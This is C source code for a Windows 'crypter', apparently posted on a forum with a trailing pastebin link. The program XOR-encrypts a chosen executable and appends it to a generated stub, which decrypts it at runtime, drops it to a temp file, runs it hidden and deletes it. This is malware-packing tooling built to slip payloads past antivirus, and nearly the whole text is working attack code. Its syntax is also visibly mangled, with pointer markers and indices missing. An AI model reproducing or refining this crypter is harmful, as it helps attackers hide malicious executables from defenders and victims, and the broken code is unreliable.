// cryptor_final_working.c// Компиляция: gcc -m32 -o cryptor.exe cryptor_final_working.c -lgdi32 -lcomctl32 -luser32 -mwindows#include <windows.h>#include <commctrl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <time.h>#include <direct.h>// -------------------------------------------------------------// Генерация stub.c (загрузчик) — расшифровка + временный файл + запуск// -------------------------------------------------------------int compile_stub(const char stub_c_path, const char stub_exe_path, unsigned char xor_key) { char cmd[1024]; FILE f = fopen(stub_c_path, "w"); if (!f) return 0; fprintf(f, "#include <windows.h>\n" "#include <stdio.h>\n" "#define XOR_KEY 0x%02X\n" "#define MAGIC \"CRYP\"\n" "\n" "int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR c, int s) {\n" " char mypath[MAX_PATH];\n" " GetModuleFileNameA(NULL, mypath, MAX_PATH);\n" " HANDLE f = CreateFileA(mypath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n" " if (f == INVALID_HANDLE_VALUE) return 1;\n" " DWORD size = GetFileSize(f, NULL);\n" " if (size < 8) { CloseHandle(f); return 2; }\n" " DWORD payload_size;\n" " char magic[5] = {0};\n" " DWORD read;\n" " SetFilePointer(f, -8, NULL, FILE_END);\n" " ReadFile(f, &payload_size, 4, &read, NULL);\n" " ReadFile(f, magic, 4, &read, NULL);\n" " if (memcmp(magic, MAGIC, 4) != 0) { CloseHandle(f); return 3; }\n" " if (payload_size == 0 || payload_size > 20010241024) { CloseHandle(f); return 4; }\n" " SetFilePointer(f, -(payload_size + 8), NULL, FILE_END);\n" " unsigned char enc = (unsigned char)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n" " if (!enc) { CloseHandle(f); return 5; }\n" " ReadFile(f, enc, payload_size, &read, NULL);\n" " CloseHandle(f);\n" " unsigned char dec = (unsigned char)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n" " if (!dec) { VirtualFree(enc, 0, MEM_RELEASE); return 6; }\n" " for (DWORD i = 0; i < payload_size; i++) dec = enc ^ XOR_KEY;\n" " VirtualFree(enc, 0, MEM_RELEASE);\n" " char temp[MAX_PATH];\n" " GetTempPathA(MAX_PATH, temp);\n" " GetTempFileNameA(temp, \"tmp\", 0, temp);\n" " HANDLE out = CreateFileA(temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n" " if (out == INVALID_HANDLE_VALUE) { VirtualFree(dec, 0, MEM_RELEASE); return 7; }\n" " DWORD written;\n" " WriteFile(out, dec, payload_size, &written, NULL);\n" " CloseHandle(out);\n" " VirtualFree(dec, 0, MEM_RELEASE);\n" " STARTUPINFOA si = {sizeof(si)};\n" " PROCESS_INFORMATION pi;\n" " if (!CreateProcessA(temp, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {\n" " DeleteFileA(temp);\n" " return 8;\n" " }\n" " WaitForSingleObject(pi.hProcess, INFINITE);\n" " CloseHandle(pi.hProcess);\n" " CloseHandle(pi.hThread);\n" " DeleteFileA(temp);\n" " return 0;\n" "}\n", xor_key); fclose(f); sprintf(cmd, "gcc -m32 -o \"%s\" \"%s\" -mwindows -luser32 -lkernel32", stub_exe_path, stub_c_path); int ret = system(cmd); return (ret == 0);}// -------------------------------------------------------------// Основная функция криптора// -------------------------------------------------------------void crypt_file(const char input_path, const char output_path) { FILE f = fopen(input_path, "rb"); if (!f) { MessageBoxA(NULL, "Не удалось открыть входной файл", "Ошибка", MB_ICONERROR); return; } fseek(f, 0, SEEK_END); long pe_size = ftell(f); rewind(f); unsigned char pe_data = (unsigned char)malloc(pe_size); fread(pe_data, 1, pe_size, f); fclose(f); srand((unsigned int)time(NULL)); unsigned char xor_key = (unsigned char)(rand() % 256); for (long i = 0; i < pe_size; i++) pe_data ^= xor_key; char stub_c[] = "stub_temp.c"; char stub_exe[] = "stub_temp.exe"; if (!compile_stub(stub_c, stub_exe, xor_key)) { MessageBoxA(NULL, "Ошибка компиляции stub. Убедитесь, что gcc в PATH", "Ошибка", MB_ICONERROR); free(pe_data); return; } f = fopen(stub_exe, "rb"); if (!f) { MessageBoxA(NULL, "Не удалось прочитать stub", "Ошибка", MB_ICONERROR); free(pe_data); return; } fseek(f, 0, SEEK_END); long stub_size = ftell(f); rewind(f); unsigned char stub_data = (unsigned char)malloc(stub_size); fread(stub_data, 1, stub_size, f); fclose(f); FILE out = fopen(output_path, "wb"); if (!out) { MessageBoxA(NULL, "Не удалось создать выходной файл", "Ошибка", MB_ICONERROR); free(pe_data); free(stub_data); return; } fwrite(stub_data, 1, stub_size, out); fwrite(pe_data, 1, pe_size, out); fwrite(&pe_size, 4, 1, out); fwrite("CRYP", 1, 4, out); fclose(out); remove(stub_c); remove(stub_exe); free(pe_data); free(stub_data); MessageBoxA(NULL, "Криптование успешно!\n_crypted.exe создан и будет работать без ошибок.", "Успех", MB_OK);}// -------------------------------------------------------------// GUI (без изменений)// -------------------------------------------------------------HWND hStaticFile, hButtonCrypt;char selectedFilePath[MAX_PATH] = {0};void select_file(HWND hwnd) { OPENFILENAMEA ofn = {0}; char file[MAX_PATH] = {0}; ofn.lStructSize = sizeof(ofn); ofn.hwndOwner = hwnd; ofn.lpstrFilter = "Executable\0.exe\0"; ofn.lpstrFile = file; ofn.nMaxFile = MAX_PATH; ofn.Flags = OFN_FILEMUSTEXIST; if (GetOpenFileNameA(&ofn)) { strcpy(selectedFilePath, file); SetWindowTextA(hStaticFile, file); EnableWindow(hButtonCrypt, TRUE); }}void do_crypt(HWND hwnd) { if (strlen(selectedFilePath) == 0) return; char out[MAX_PATH]; strcpy(out, selectedFilePath); char dot = strrchr(out, '.'); if (dot) dot = 0; strcat(out, "_crypted.exe"); crypt_file(selectedFilePath, out);}LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { switch (msg) { case WM_COMMAND: if (LOWORD(wp) == 1) select_file(hwnd); if (LOWORD(wp) == 2) do_crypt(hwnd); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProcA(hwnd, msg, wp, lp); } return 0;}int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) { INITCOMMONCONTROLSEX icc = {sizeof(icc), ICC_WIN95_CLASSES}; InitCommonControlsEx(&icc); WNDCLASSEXA wc = {0}; wc.cbSize = sizeof(WNDCLASSEXA); wc.lpfnWndProc = WndProc; wc.hInstance = hInst; wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wc.lpszClassName = "CrypterClass"; RegisterClassExA(&wc); HWND hwnd = CreateWindowExA(0, "CrypterClass", "Crypter v6.0 - Working (temp file)", WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX, 100, 100, 420, 150, NULL, NULL, hInst, NULL); if (!hwnd) return 0; CreateWindowExA(0, "BUTTON", "Select EXE", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, 20, 20, 100, 30, hwnd, (HMENU)1, hInst, NULL); hStaticFile = CreateWindowExA(0, "STATIC", "No file", WS_CHILD | WS_VISIBLE | SS_LEFT, 130, 25, 250, 20, hwnd, NULL, hInst, NULL); hButtonCrypt = CreateWindowExA(0, "BUTTON", "Criptar", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, 20, 70, 100, 30, hwnd, (HMENU)2, hInst, NULL); EnableWindow(hButtonCrypt, FALSE); ShowWindow(hwnd, nShow); UpdateWindow(hwnd); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam;}
>>114https://pastebin.com/UPpG61jb